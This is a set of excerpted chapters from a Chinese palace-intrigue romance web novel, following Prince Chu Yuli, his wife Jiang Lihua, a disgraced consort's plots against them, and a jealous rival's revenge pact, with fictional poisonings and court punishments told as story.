坐在楚御礼怀中的姜黎婳双颊绯红,她想挣开楚御礼的怀抱坐回自己的位置,却被对方紧紧抱住腰肢,楚御礼把下巴放在她的肩窝上,低声道:“婳儿,我喜欢听你在我面前称我。”
想到方才自己说话时,他带笑注视着自己的模样,姜黎婳眼眸微动,低声问,“殿下不会觉得我失礼?”
“你我夫妇,哪来失礼一说?”他目光幽幽的注视着她白嫩的耳垂,声音沙哑,“以后在我面前,别自称妾身,好吗?”
“好。”
楚御礼在她耳垂上亲了亲,这才松开了她。
......
姜宅坐落在城南一处清幽的巷子中,巷子的街道两旁种满了槐花树,所以这条巷子叫槐树巷。
城南商贾平民居多,处处是闹市。
姜宅所在的槐树巷也是有钱的商贾或者有点实力的京官才能住得起的地方。
一路从城西到城南几乎穿过了整个京城,两人到姜宅的时候都已经是晌午了。
站在姜宅的门前,姜黎婳深深地吸了口气,她回头看着在槐树下站着的楚御礼,他是一个很好的人,她相信他。
在心头下定了决心,姜黎婳抬手敲响了姜宅的大门。
“来了!”
没一会儿,大门被人从里面打开。
虽然上了年纪,仪态却依旧很好的妇人站在门内,她见到姜黎婳的瞬间,脸上就浮现出惊喜的神情,“小姐!您回来了!”
“阿妈。”姜黎婳红着眼,轻轻地喊了小时候才喊的称呼。
佩玉听她这么喊自己,也顾不上让她先进屋了,她跨出门槛,拉着姜黎婳上下打量,语气也充满了担忧,“是不是他们苏家欺负小姐了?”
姜黎婳轻轻摇头,“我就是太想你们了。”
“我们
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也想您。”佩玉拉着姜黎婳往宅子里面走,“今早铃铛和知夏还在念叨您呢。”
“等一下。”姜黎婳还算有良心,没有忘记还站在槐树下的楚御礼,她回眸指着楚御礼,“那是我夫君....”
佩玉朝楚御礼看过去,那位一表人才,仪表堂堂、样貌不凡的人是她们姑爷?
她激动地打断姜黎婳的话,笑着道:“咱们姑爷长得可真俊!”
说罢也顾不上自家小姐了,松开姜黎婳的手赶紧和楚御礼打招呼,“姑爷您别站着了,快进屋!”
“小姐,您怎么成亲也不通知奴婢们一声啊。”佩玉回眸看了一眼姜黎婳,又激动的往外走了两步去迎楚御礼,“姑爷第一次登门,有失远迎,还请姑爷莫怪。”
“无碍。”楚御礼抬步朝台阶上走去。
今日充当车夫的昭临:“......”
佩玉以前可是姜府的管家嬷嬷,为人处世和眼力价儿比宫里的好些嬷嬷都厉害,看到抱着一把短剑靠在马车旁边的昭临,她笑着道:“这位侍卫小哥也快进家中歇歇,天热,我让铃铛准备了凉茶,你进来喝杯茶凉快凉快。”
“不用了,我守着马...”
“马车让马夫牵去后院,让马儿也去马厩吃点东西。”说罢她扬声就喊,“马夫...”
喊了几声没人应,她尴尬的笑了笑,“瞧我激动地都忘了后院有些远,刚刚正巧是要出门买菜才听到你们敲门声的,小哥你稍等一下,我这就去喊马夫过来牵马。”
快步往后院跑去。
还没有介绍完楚御礼身份的姜黎婳,“......”
楚御礼已经走到了她身边,姜黎婳有些尴尬地朝他笑了笑,“这宅子是我入京前爹爹托人买的,爹爹没来京城,我进京之后也没有买仆从,所以伺候的人不多,佩玉嬷嬷平日做事很利索,不这样的。”
“我知道。”楚御礼牵着姜黎婳的手,“走吧。”
姜黎婳咬了咬嘴唇,知道?你才不知道呢。
已经走到后院的佩玉想起自己好像一激动把小姐和姑爷给忘在前院了,她懊恼的拍了一下额头,又想着已经到后院了,干脆先把马夫喊来再说。
姜黎婳带楚御礼回到自己住过两天的院子,可想而知,楚御礼又看了一遍主仆情深的戏,只是瞧着两个容貌漂亮的少女牵着自己娘子的手一直不松开,他眼睛微微眯了起来,心头开始后悔提议把她的婢女接到皇子府照顾她了。
第35章 我是病了,不是**
定国公府。
用了早膳打算去自己的亲生娘亲那里走一趟的苏清欢瞧见刚出门又回来的萧景宴,她心虚让雪儿先出去等自己,自己则迎着萧景宴走了过去,“世子怎么回来了?”
萧景宴瞧她一副外出的打扮,眉梢微挑,“又要回娘家?你也听说大皇子把苏家给砸了?”
苏清欢眼里露出疑惑,有些不解的看着萧景宴,“世子这话是什么意思?”
“你还不知道啊?”萧景宴嘴角勾起一抹似笑非笑的弧度,“咱们那有血性的大皇子,因为自己的大皇子妃被你母亲打了一巴掌,昨晚直接让人把苏府都给砸了,这事儿今早还闹上了朝堂呢,听闻今天这朝堂上很是热闹呢。”
苏清欢的心一瞬间像是被荆棘裹着一样,疼得有些呼吸不过来了,心头对姜黎婳的恨更浓烈了。
她不是苏家打抱不平,只为楚御礼的不公!
为什么?
那个男人明明冷血无情!
前世就连成亲当日他都不曾看她一眼,盖头都是她深更半夜自己揭下来的,可偏偏对她那般冷血无情的男人这一世不但陪着姜黎婳回门,还因为姜黎婳被吕氏打了一巴掌就把苏家都给砸了?
甚至不惜闹到朝堂上,也要为姜黎婳出气?
姜黎婳究竟有什么好的!一个在江南小门小户长大的商户女罢了!凭什么上一世她能风光无限,这一世又能得到那个男人的宠爱?
苏清欢瞬间失去理智,双眼因为嫉妒而变得通红。
萧景宴看着苏清欢的模样,伸手在她眼前晃了晃,语气微冷,“夫人为何这么生气?”
苏清欢被他这语气吓得一激灵,失去的理智立刻回笼,她扯了扯嘴角,语气却带着怨念,“大皇子太过分了,苏府怎么说也是他岳丈家,他怎么能不顾苏家颜面,把苏家给砸了!只是被打了一巴掌,妹妹又不会少一块肉。”
“是吗?”萧景宴似笑非笑盯着苏清欢,“被打的可是大皇子妃呢。”
“妹妹是大皇子妃之前,先是爹娘的女儿啊。”苏清欢语气不自觉的变冷,“她真不懂事,也不知道劝着大皇子一些。”
“这么说夫人很懂事,若你在苏家受了委屈,也不希望为夫替你讨回公道了?”萧景宴手指下意识的搓着手指上的扳指,语气漫不经心,“不然也是不懂事?”
“这不一样。”苏清欢抬眸看着萧景宴,“我希望世子为我讨回公道,但也不会让世子把事情闹得很难看的。”
“是吗?”萧景宴眼中露出无趣的神色,他转身往外走,“你若想回去看看就回去看看吧,为夫还有事,今日要出城一趟。”
把萧景宴送走后,苏清欢也不着急去看自己的亲娘了,吩咐车夫直接回苏府。
朝堂上。
楚御礼眼神凉凉的看了一眼跪在地上哭诉,说自己心狠的苏建明,又看向**自己的御史。
忽地他嗤笑了一声,接着低头拱手恭恭敬敬地对皇帝行了一礼,“父皇,儿臣如今只是病了,不是**。”
楚御礼的病,一直都是皇帝的禁忌,这些年没人敢在皇帝面前说起楚御礼的生死。
此时楚御礼说出这句话,整个朝堂瞬间安静了下来,就连跪在地上哭诉的苏建明都下意识地噤了声。
皇帝在听到楚御礼说这话的时候脸色也阴沉了下去,放在膝盖上的手,更是下意识的握紧。
楚御礼要的效果达到,他抬起头,眼中的冷漠散去,双目不知何时变得通红,眼中还有一丝哀痛,“儿臣如今还活着,他们就敢当着儿臣的面掌掴儿臣的妻子,若儿臣**,他们是不是能到府上直接弄死儿臣的妻子?”
不给苏建明狡辩的机会,楚御礼伸手指着苏建明,“儿臣知道,在他们眼中,儿臣是一个随时会死的病秧子,所以他们不把儿臣和儿臣的妻子放在眼中,但昨日,是苏大人的夫人差人到行宫说身子不爽想见大皇子妃的!
我们夫妇带着太医上门探望,他们却打了大皇子妃,这口气若是不出了,那儿臣就是死也不会瞑目!”
“胡说什么!”皇帝呵斥楚御礼,“什么死不死的!”
“陛下,苏氏藐视皇族,不把皇室威严放在眼中,大殿下只是砸了他们苏家,没有问罪苏家满门,已经是法外开恩了!”镇国侯站了出来跪在地上,义正言辞的对着皇帝道:“请陛下下旨问苏氏大不敬之罪!”
随着镇国侯站出来,承恩公也站了出来,“藐视皇室威严,重伤皇子妃,只是被砸了家是轻的了,还敢闹到朝堂上,让陛下闹心?”他也跪了下去,“请陛下问苏氏大不敬之罪!”
“求陛下看在
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大皇子妃的面上,饶了臣这一次啊!”苏建明已经被吓得浑身都是冷汗了。
他原本想在今日给这个病弱的大皇子一个下马威,让他知道朝臣并不是那么好惹的,没想到最后遭殃的反而是自己!
一直站着没说话的丞相冯胜文这时候站了出来,他躬身行礼,“陛下,大皇子妃是苏大人的女儿,更是吕夫人的亲生女儿,母女之间有个口角激动之下动了手也是情有可原的,应该上升不到藐视皇室威严的罪上来。”
说到这里他笑了笑,“再说了,咱们大皇子已经把苏府砸了,如今气也出了,也没必要小题大做再治罪苏大人了,若陛下因这事治罪了苏大人,岂不是让满朝文武寒心,也让百官不敢把女儿嫁到皇家了?”
他说着看了跪在地上的楚御礼一眼,“大皇子说是不是?”
楚御礼却不吃他这套,只淡淡道:“痛不在冯相身上,冯相自然能劝别人善良,若一个皇子连自己的媳妇都护不住,那满朝文武怕也是不敢把女儿嫁给皇子当媳妇了!”
冯胜文眉头一皱,语气也冷了两分,“大皇子这个意思是非要问罪苏大人?你有没有想过大皇子妃也出自苏家,若苏家被问罪的话,大皇子妃亦然会被牵连。”
“冯相这是有感而发吗?”楚御礼抬起头与冯胜文对视,眼中神色意味不明,“看来二弟的事情没少让冯相费心,难道冯相被二弟的所作所为牵连了?”
提起如今被禁足的楚明暄,冯胜文的脸色更难看了。
皇帝想到自己禁足楚明暄的原因,心情瞬间变得更差,不成器的儿子在外胡作非为,滥杀无辜,而自己从小看好的大皇子,即便知道自己活不久,也从未让他这个父皇费心,如今儿子命不久矣,还被人欺负到了头上,自己这个做父皇的若再不为他出头,他岂不是要被人骑在脖子上欺负了?
皇帝当即冷声喝道:“工部尚书苏建明不敬皇子,藐视皇室,即日起降为工部侍郎,以示惩戒!工部侍郎谢如玉暂代工部尚书一职!”
苏建明听到这个噩耗,整个人仿佛失去了力气,一下子瘫坐在地上。
为什么会这样?
天降大饼的工部侍郎谢如玉则如获至宝一样扑通跪在地上,扬声喊道:“臣,谢主隆恩,吾皇万岁万岁万万岁!”
第130章 三皇子的天塌了
慧妃走了,其他妃嫔也匆匆离开,一时之间长廊上就只剩下了皇后、贤妃和淑妃、楚巍澜几人。
淑妃瞧其他人都走了,也不再继续在地上跪着,她站起来看着皇后,轻笑道:“我与娘娘十几年的姐妹之情,您竟然不信任我。”
皇后面无表情的看着淑妃的表演,“正因为十几年的姐妹之情,我才更痛心,就连澜儿都亲眼看到你的所作所为了,你还在本宫这里狡辩什么?”
楚巍澜缩了缩脖子,不敢去看皇后。
毕竟他母妃这次做得的确过分了,大皇兄如今身子刚好,母妃就去害大皇嫂肚子里面的孩子,这不是明晃晃的写着居心不良几个字嘛...
楚巍澜想到这里忽然福至心灵的看向淑妃,这看过去正和淑妃的目光对上,他好像从自己的母妃眼中看到了野心两个字!
母妃是不是疯了!
她竟然想要让自己当皇储吗?
当皇帝有什么好?
一点自由都没有了!
他一身武艺将来也无用武之地!
他以后当个王爷不好吗?能随时出去玩!还能代替皇兄驰骋沙场!那多好啊!
母妃为什么要把自己困在这小小的皇宫里?因为她不能出宫,所以也不要亲儿子出去看看外面的世界吗?
想到这里楚巍澜的眼神忽然变坚定了起来,他看向淑妃,冷声道:“母妃,无论您在想什么,儿臣是不会如了你的愿的!”
淑妃:“......”
此时她真想亲手把这个糟心儿子给掐死。
皇后挑眉对着楚巍澜道,“如今蓝雨柔只是一介庶人,三皇子即便是她的亲儿子,还是不要唤她母妃较好,以免惹怒了你的父皇。”
说罢她深深地看了淑妃一眼,转身离开。
在她转身的那一瞬间,她的嘴角勾起了一抹畅快的弧度。
蓝雨柔终于得到了她的报应了!
只是...
她的皇孙就这么没了!
蓝雨柔真该死啊!
贤妃看了一眼皇后那稍显落寞的背影,她叹了口气看向蓝雨柔,低声道:“真没想到我们之间看来没什么心机的你,才是心思最深沉的那个,这些年我和皇后都被你骗得好惨啊。”
贤妃深深地看了蓝雨柔一眼,像是想到了什么她往前走了一步,站在蓝雨柔的面前,“你害御王和皇后我可以理解,毕竟御王挡了三皇子的路,但是你为什么...”
贤妃说到这里眼睛骤然变得猩红,她一把握住蓝雨柔的双臂,冷声质问,“你为什么要害瑶儿!我就这么一个女儿!她的存在根本对你和三皇子构不成任何威胁!”
“呵呵。”蓝雨柔听贤妃这么问,忽然笑出了声音,她抬眸和贤妃对视,“你现在才反应过来是不是晚了点?你的女儿已经被嫁去和亲了!”
“为什么?”贤妃的之家嵌入蓝雨柔的皮肤,她眼中闪过一丝杀意,“你为什么要害我们母女分离!”
“因为她毁了我最爱的霓裳羽衣!”淑妃双目赤红,眼底带着疯狂,“她不是说想要一辈子陪在你在这个母妃身边吗?那我就惩罚她一辈子都再见不到你!”
“你这个疯子!”贤妃抬手打了蓝雨柔一巴掌,“她那是不小心,况且当时她也给你道歉认错,并且让人重新给你做衣裳了!”
“可是那天她被皇上夸了懂事,而我被皇上斥责小家子气。”蓝雨柔眼神冰冷的对上贤妃的目光,冷声道:“那我就看看这么懂事的公主在南诏是否能风生水起啊。”
楚巍澜听到这些已经不知道该怎么反应了。
他的记忆中,皇姐对他一直很好,而且皇姐很照顾兄弟姐妹的,对所有的兄弟姐妹都一视同仁,有什么好东西都会先和他们分享,皇姐被嫁到南诏和亲的时候,他还伤心了好一阵子呢。
当时母妃还说皇姐嫁给南诏是为了楚国,还教育他让将来让楚国变得更强大,让楚国的公主再也不用去和亲。
可是现在他听到了什么?
他的皇姐去南诏和亲,是他的母妃设计的?
贤妃只觉得淑妃就是一个疯子,她竟然因为这么一件小事就对一个小女孩怀恨在心这么多年,最后让她远嫁他国,与自己这个母亲再也无法相见。
“不过当初设计这件事情的宫女和太监都被我灭口了,你是如何得知的?”蓝雨柔忽然抬头看着贤妃,“是谁告诉你的?”
贤妃气过之后恢复了平静,她静静地看着淑妃,“我只是想不通当初明明和瑶儿毫无交集的南诏王爷为何指定要瑶儿和亲,所以故意问了你一句。”
“
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你诈我?”淑妃面目变得狰狞,“你刚刚在诈我?”
贤妃冷笑,“你果然聪明。”
她说完怜悯的看了楚巍澜一眼,叹道:“你天性善良却摊上了这么个母亲,真是难为你了,得知这些真相,你接下来怕是睡不好觉了。”
贤妃说完转身就走,蓝雨柔则猖狂的笑出了声,“你懂个屁!我做这一切都是...”
“你都是为了你自己。”贤妃打断了蓝雨柔的话,她停下脚步回头看着蓝雨柔,“你为了自己想要的名利,把自己的想法强加在澜儿这个可怜的孩子身上,你看这孩子,如今都快要被你逼疯了。”
这次她头也不回就走了。
楚巍澜怔怔的回眸看向蓝雨柔,满目苍凉,“今后您就在冷宫里思过吧,我不会去看您的,以后我不会按照您的想法活着,我会按照我的想法活着。”
“我这么做都是为了你!你现在却怪我?”蓝雨柔一把拉住楚巍澜的手,嘶声道:“你对得起我吗?”
“我没有让您那么做!”楚巍澜低吼出声,“我不想读书!不想背功课!也不想当皇储!所以你做的那些事情不是为了我,不过是为了您自己的虚荣心罢了!”
啪...
蓝雨柔狠狠地打了楚巍澜一巴掌,“你怎么这么没出息!”
“对!我就是没出息!”楚巍澜抬头擦了一下嘴角的血迹,抬眸冰冷的看着蓝雨柔,“你有出息就是残害我的手足!害我在手足之间再也无法抬起头做人!你怎么这么狠毒!”
楚巍澜说完转身朝一旁跑去,蓝雨柔想去追,却被几个御林军拦住了去路,“罪人蓝氏,陛下吩咐我们押你去叶落宫。”
蓝雨柔看到站在自己面前的银甲侍卫,尖叫出声。
她事事为了儿子着想,最后竟然被儿子斥责恶毒?那她这么些年都为了什么?
皇后赶到安置姜黎婳的宫殿时,太医已经离开了,姜黎婳也被换了一身衣裳,楚御礼听到皇后的脚步声,他从床边站起身对皇后做了个噤声的动作,抬步和皇后一起走到殿外。
皇后看了一眼还在‘昏睡’的姜黎婳,眼里闪过一丝冷意,“淑妃被打入冷宫了,你告诉婳儿,我会给她报仇的,这些日子你让她好生休养,以后你们还会有孩子的。”
第131章 吕氏想挽回母女之情
皇后安排轿辇送姜黎婳出宫,等他们夫妇离开之后,皇后回了凤仪宫,宫中贤妃已经在等着她了。
皇后有些疲累的揉了揉眉心,由佩蓉扶着到高位上坐下,坐下之后她才看向随着自己回宫而站起来给自己见礼的贤妃,“你有话要说?”
不等贤妃开口,皇后就道:“本宫知道你与蓝雨柔平日里关系很好,但这次我不会放过她的!”
贤妃缓缓跪在地上,她抬眸看着疲累的皇后轻轻摇头,“娘娘,臣妾不是来给她求情的,臣妾是还有一事要告诉娘娘。”
皇后蹙眉,“何事?”
“当年御王那串沉香手串是她帮臣妾找到的,当时她听说您在为御王寻找沉香珠做手串,便说我们也为你尽一份力,但是她手上银钱不够,就提出让臣妾出钱,她让人去找,那手串也经过她的手,若她从一开始与我们交好就怀了其他心思,那御王那串沉香珠可能也有问题。”
皇后冷笑,“不仅是那手串有问题,她送婳儿的龙凤镯也有问题,那龙凤镯有暗格,里面她放了好几种落胎药制成的香丸,婳儿前些日子发现了拿来给本宫看,本宫原本还以为她是被人陷害了,如今看来,她早有预谋想要害死御儿,如今听说御儿身体大好,变等不及了...”
“娘娘!”太监小福子这时候快步从外面走了进来跪在地上,“锦衣卫传消息说太庙后殿着火就是蓝雨柔宫中的陶嬷嬷与刑部尚书府上的人所为,现在人已经被抓到刑部了。”
皇后闻言双手捏着帕子的手指微微收紧,“你回去镇国侯府走一趟,让母亲去承恩公府走一趟,就说刑部尚书府勾结皇妃残害皇子其罪当诛。”
小福子领命而去。
皇后坐在高位上呆愣了半晌,这才看向还跪在地上的贤妃,“你起来吧。”
“当年她不过是一个贵人,因为产下皇子才被封为舒嫔,还是因为娘娘您,她才被封为淑妃的,她简直是忘恩负义!”贤妃想到自己的女儿也是因为蓝雨柔才导致远嫁和亲的,她就恨得牙痒痒,“娘娘,臣妾的瑶儿也是因为她的刻意算计才被南诏王爷惦记上,嫁到南诏和亲的啊!”
她想到之前在行宫,蓝雨柔还拿着太后赏赐姜黎婳的红宝石头面挑拨自己和皇后的关系,她那时候恐怕还想着借刀**,让自己与皇后争斗,她好坐收渔翁之利!
贤妃冷笑着把这些日子觉得蓝雨柔不对劲的地方全都和盘托出,皇后双手狠狠在高几上拍了一下,“本宫容不下她了。”
“交给臣妾来做吧。”贤妃看向皇后,眼中闪过一丝冷漠的光芒,“臣妾想为瑶儿报仇,您也不必脏了自己的手,将来御王与三皇子也不会因此离心。”
她往前走了一步,眼神真诚,“臣妾如今孑然一身,三皇子即便恨臣妾害**他母亲,也影响不了臣妾。”
“你让本宫考虑考虑。”皇后揉了揉眉心,“锦衣卫已经查到了让太庙后殿起火的真凶,就看皇上是不是会心慈手软饶她一命。”
“她固然该死,但有没必要让我们手上脏染上她的脏血。”
即便要让蓝雨柔死,她也不会让人知道是她所为,蓝雨柔还不配让她脏了手。
......
御王府听说姜黎婳参加一个封王大典就被害得落了腹中的胎儿,他们还没有回到府上就听到府中哭成了一片。
姜黎婳被楚御礼抱着回府的时候,张嬷嬷和佩玉两人就哭着迎了上来,两人一个人拿着披风一个人拿着帽子,“快给王妃搭上,小产就跟产子一样,受不得凉,若是受了凉将来会头疼的。”
姜黎婳就这样在炎热的午后被裹得厚厚地安置在了床榻之上,楚御礼瞧着姜黎婳的模样被裹成熊的模样,忍不住轻笑,“自找罪受了吧?”
姜黎婳赶紧把外衫都脱了,然后躺在床上,她摸了摸头上的帽子,眼里闪过小得意,“但淑妃如今完了。”
说到这里姜黎婳往外看了一眼,确认了没人进来,她才压低声音问,“抓到人了吗?”
“冽风若这点小事都办不到,也不配当我的暗卫头领了。”楚御礼伸手揉了揉姜黎婳头上的帽子,“不过我听张嬷嬷他们的意思是让你在这屋中躺一个月,你能行?”
姜黎婳:“......”
听到姜黎婳被害得小产的事情震怒的不只
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是镇国侯府和承恩公府,永宁伯府接到消息后,胡氏就急匆匆的带着孟雪莲母子出门了,三人和仆从匆匆从府中出来就遇到了等在门口的吕月琴母子三人,看到胡氏三人出来,吕月琴连忙上前,“娘,您去御王府看婳儿是吗?”
胡氏皱了皱眉没说话。
孟雪莲让吕静雅扶着胡氏先上马车,自己把吕月琴拉到了一旁,“婳儿刚遭受这种打击定然是不想见到你们的,你们识趣一点,不要去给她添堵。”
吕月琴想到在女儿最需要母亲安慰的时候,自己这个母亲去看望她却成了给她添堵,她就止不住心头难受,“嫂嫂,我求你给婳儿说说吧,我真的知道错了,我以后定会补偿她的。”
“早知今日何必当初。”孟雪莲拂开吕月琴拉着自己的手,“你有什么要我带过去的,我可以帮你把东西带过去,但是我不会告诉婳儿是你让我帮忙带的。”
“有。”吕月琴连忙从刘嬷嬷手上接过自己买的补品,“这些都是我给婳儿买的补身子的东西,嫂嫂你帮忙带给婳儿。”
孟雪莲接过东西递给身边的嬷嬷,带着嬷嬷上了马车朝御王府的方向离开。
吕月琴母子三人看着永宁伯府来开的马车面色各异。
苏承印双手死死的握住,脸色很难看,“妹妹再也不会原谅我们了吗?”
他这些日子不知道是怎么回事,记忆一下子变好了,以前那些他想不起来的苛待姜黎婳的画面总是一幕幕在脑海中重现,每次想起那些画面,他就忍不住扇自己几巴掌。
苏继业脸色也很不好,他那还略显青涩的脸上闪过一丝阴沉,“都是苏清欢他们害的!如果不是苏清欢,我们和姐姐就不会变成现在这样!”
说起苏清欢,苏继业眉头皱了起来,“苏清欢自从那次在苏家遇到之后,就像人间蒸发了一样,完全找不到踪迹了。”
吕月琴听到他这话,冷声道:“找她做什么?我警告你们兄弟二人,若你们敢帮扶苏清欢,以后就当没我这个娘!”
“谁要帮扶她!”苏继业冷声道:“他们把我们害得这么惨,就这么翻过他们真是便宜他们了!”
第132章 我可以不帮你杀了姜黎婳和御王
有了第一天永宁伯府的人上门探望姜黎婳之外,一连好几日与楚御礼但凡有点关系的人都上门来探望姜黎婳了。
姜黎婳都从一开始的抗拒被这么多人围观到最后逐渐变得麻木了,后来她还能和那些陌生人说上两句话了。
有时候姜黎婳都觉得人可真是一种奇妙的动物,上一世她还在养父母家的时候,人也很开朗的,但是在经历被亲生家庭下药陷害之后,她就抗拒与人接触了,而如今自己又被自己在乎的人治愈了。
姜黎婳抬眸看着正拉着自己的手安抚的镇国侯老夫人,轻声道:“是婳儿不孝,之前一直没有登门拜访外祖母,如今倒让外祖母您上门来看婳儿了。”
镇国侯老夫人孟氏与皇后的容貌有三分相似,但眉眼比皇后看上去更温柔几分,给人一种忍不住想亲近的感觉。
她听姜黎婳这么说,拍了拍姜黎婳的手背,叹道:“你们经历的那些事情我都听说了,你们都自顾不暇,就别惦记着我们了。”
“让外祖母看笑话了。”姜黎婳垂眸。
孟氏叹气,“好了,不说那些了,你这些日子好生休息,你们夫妇还年轻,孩子今后还会有的,外面的事情你就交给御儿去处理,你也不要忧心了。”
姜黎婳颔首应是,孟氏很满意姜黎婳的懂事,她站起身来,“你如今也要好好将养着,身子好了若觉得烦闷就经常来镇国侯府坐坐。”
孟氏要走,一直在外面嘱咐佩玉如何熬制药膳的世子夫人秦氏走了进来,她亲自扶着孟氏,对姜黎婳嘱咐道:“你好生养身子,别忧思过重,女子最忌忧思过重,这样即便身子好好的,也会生病的。”
姜黎婳颔首应下,道谢,“多谢舅母关心,我不会多想的。”
毕竟不是真正的没了孩子,她还真的不至于去伤心。
张嬷嬷亲自把孟氏婆媳送了出去,回来的时候又带回了楚明珠和楚明月姐妹二人。
楚明珠看到姜黎婳躺在床上就急忙走过来,红着眼睛哭道:“皇嫂,你没事儿吧?”
那天她是亲眼目睹了皇嫂是如何被淑妃...不对,如今应该说是罪人蓝氏如何推到压在地上,又是如何往大皇嫂身上泼脏水的,后来这几天她又一直做噩梦,根本连自己的宫殿门都不敢走出去...
姜黎婳躺在床上对着她们姐妹轻轻摇头,“那天还好有你们,不然的话,我真是有口都说不清了。”
楚明月也想到了那天姜黎婳被蓝雨柔逼迫的画面,她忍不住抿了抿嘴,“父皇赐了她鸩酒,刑部尚书府的所有人也因为谋害皇子放火烧了皇室宗庙被抄了家,听说父皇让蓝家所有人都流放宁古塔了。”
姜黎婳眉眼微微一抬,蓝家竟然这么轻而易举的就倒了?
不过也是,谋害皇子,烧了皇室宗庙本就是死罪,不过因为楚御礼没事,太庙后殿也因为救火及时没有太大的损失,所以蓝家才没有被满门抄斩。
不过今日楚御礼上早朝还未回来,她暂时还没有接到消息,楚明珠她们姐妹二人过来也算是让她听到新闻了。
姐妹两人又陪着姜黎婳坐了一会儿,楚明珠问姜黎婳,“大皇嫂您听说苏家的事情了吗?”
姜黎婳对苏家的事情不关心,也没有刻意去打听,此时听楚明珠这么问,她才想起他们家人来,“什么事情?”
“他们承认了当年换掉孩子的事情,还说当年的孩子是**,不过杀了奶娘的事情是苏老太太一人所为,那苏老太太因为杀了人被流放了,苏建明被夺了官身和邹如意听说被罚到冀州挖矿一年。”
姜黎婳眉梢微扬,“挖矿?”
那还真是他们的福气。
“苏清欢呢?”姜黎婳倒是听说苏清欢被萧家给休了,她还真是好运,就这么逃脱了萧景宴的魔爪。
“不知道,苏清欢好像隐身了一样,从未出现过。”
与此同时,京城几十里外的一座宽大的宅院中,苏清欢还在养伤,她满眼感激的看着坐在自己身边的女子,“多谢贵人,您就是清欢的再生父母,今后您要清欢做什么,清欢就是上刀山下火海都一定为您完成。”
女子听苏清欢这么说,
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她的嘴角微微勾起,她伸手用纤纤玉手替苏清欢整理了一下鬓边碎发,轻声道:“看到你我就想到了当年死去的女儿,若是你愿意的话,可以当我的干女儿,我不要你上刀山下火海,只要你乖乖听我的话,我可以让你有享不尽的荣华富贵,也可以帮你报仇。”
苏清欢震惊的看着比自己好像大不了几岁的女子,忍不住道:“看您的容貌也就比我大几岁,让我当您的女儿,您岂不是吃大亏了。”
女子很漂亮也很高雅,和姜黎婳那种富有攻击性的美貌不同,她是看一眼就可以让人新生好感的那种漂亮,这让苏清欢都无法产生嫉妒的心理。
女子听她这么说果然笑了,她温柔的牵着苏清欢的手,“你这孩子嘴巴倒是甜,但是我如今也是与你父母差不多大的年纪了,可别乱说话。”
苏清欢不可置信的看着肤色比自己还白,手指比自己的手指还细嫩的女人,她竟然与自己的父母差不多大?
这不会是什么精怪之类的吧?
好似看出了苏清欢的想法,女子轻笑了一声,“你的祖母被流放了,但是你父母只是送到冀州挖矿,若你愿意当我的干女儿,以后乖乖听话,那我可以先帮你在冀州安置你的父母。”
苏清欢闻言没有立刻答应,而是问女子,“那您可以帮我弄死姜黎婳吗?”
女子笑了,“只弄死姜黎婳就够了吗?我把御王也杀了如何?”
“您究竟是什么身份?”苏清欢心头猛跳,这个女人到底是何方神圣,她竟然连御王都敢杀?
女子笑了,“我是什么身份重要吗?重要的难道不是我帮你报仇吗?你若同意了,我就先派人去帮你把父母救下来,你好好考虑一下。”
“我同意!”苏清欢一把拉住女子的衣袖,迫不及待地说道:“只要您能帮我报仇,杀了他们,要我做什么都可以!”
“那你先让为娘看看你能帮为娘做的事情有多少?”女子垂眸看着姜黎婳拽着自己粉色衣裙的手,眼中闪过一丝阴鸷的笑意,“为娘可不是不求回报的人。”
第133章 本宫亲自去送
蓝雨柔被皇帝赐了鸩酒,蓝家也要被流放,楚巍澜接到消息的时候整个人都失去了力气,他无力的瘫坐在地上,抬头看向自己的贴身小太监,“你说母妃他们为什么那么做?”
他的眼泪笑着从眼角落了下来,抬手擦掉眼角的眼泪,他又笑了出来,“为了一个虚妄的位子,他们竟然敢放火烧太庙想要杀死大皇兄,还害得大皇嫂落了胎。”
“殿下,您别哭了,奴才瞧着难受。”小太监躬下身子想去扶楚巍澜站起来。
楚巍澜抬手让开小太监伸过来的手,吼道:“他们这次若是成功了,以后是不是会为了那个位子把我的手足都杀了?”
“殿下,您别想了,事情都过去了。”小太监哭着跪在楚巍澜面前,“好在陛下和皇后娘娘知道您是没有那种心思的,所以也没有怪罪您。”
“我倒是希望他们怪罪我。”楚巍澜双手捂着脸,声音沙哑,“这样我至少还能少些罪恶感。”
“殿下,不是您要害御王殿下的,不是您。”
“可她是因为我才会生出那些恶毒的心思的!”楚巍澜嘶吼道,“现在还被父皇赐**...她到底图什么?”
凤仪宫中,皇后听到了太监的汇报,冷哼了一声,“她那心思深沉的坏种竟然还能生下澜儿那样心思纯净的孩子来,真是讽刺。”
佩蓉上前轻轻扶了皇后的背心几下,“如今陛下已经下了圣旨,那位今日是必死无疑了,娘娘您就别再为了将死之人生气了,以免伤身。”
“鸩酒本宫亲自带过去吧。”皇后深深地看向佩蓉,“本宫去见皇上。”
半个时辰后,叶落宫。
蓝雨柔看到带着宫人浩荡而来的皇后,她冷哼了一声,嗤笑,“怎么?皇后娘娘是特意来看我笑话的吗?”
“你的笑话有什么好看的?”皇后脸色冰冷地看着事到如今还不知悔改的蓝雨柔,沉声道:“我是代表陛下来给你赐酒的。”
蓝雨柔脸上的冷笑和镇定终是维持不住了,“你胡说!”
她狂吼,“陛下不可能这么冷血无情!我是三皇子的生母,即便为了三皇子,皇上也会留我一条性命!”
“皇上原本是想要留你一条性命,但是你联合刑部尚书里应外合想要在太庙烧死御王的事情已经败露了,现在你全家已经被流放宁古塔了,你被陛下赐了鸩酒,本宫就是过来给你送酒的。”皇后面色冰冷地看着表情龟裂的蓝雨柔,“赐鸩酒是陛下给你留的体面,不然以你做的事情,斩首都不为过。”
“我不信!我要见皇上!我要见三皇子!”蓝雨柔发疯一样想要冲出去,“我要见皇上,你们放开我!”
皇后冷眼看着蓝雨柔发疯,片刻后她对拦住蓝雨柔的御林军道,“蓝氏疯了,把她绑了,以免误伤了本宫。”
御林军应了一声是,很快就把蓝雨柔绑了起来扔在地上。
皇后满意的让御林军都退了下去,又让佩蓉把毒酒留下,然后把其他人都带下去,佩蓉把放着鸩酒的托盘放在地上,带着宫人退了出去,一时之间空旷破败的大殿中就只剩下了她和蓝雨柔两人。
蓝雨柔抬头恶狠狠地瞪着皇后,怒骂,“蠢货!你放开我!”
“本宫是蠢,不然也不会把你这种人留在身边了。”皇后说着拿出那串沉香手串,“更不会给你残害我皇儿的机会!蓝雨柔你好狠的心,本宫自认待你不薄,你却对我那么小的皇儿下了杀心!”
蓝雨柔看到皇后手中的手串整个人一怔,片刻之后她笑出了声,“你们是什么时候知道的?”
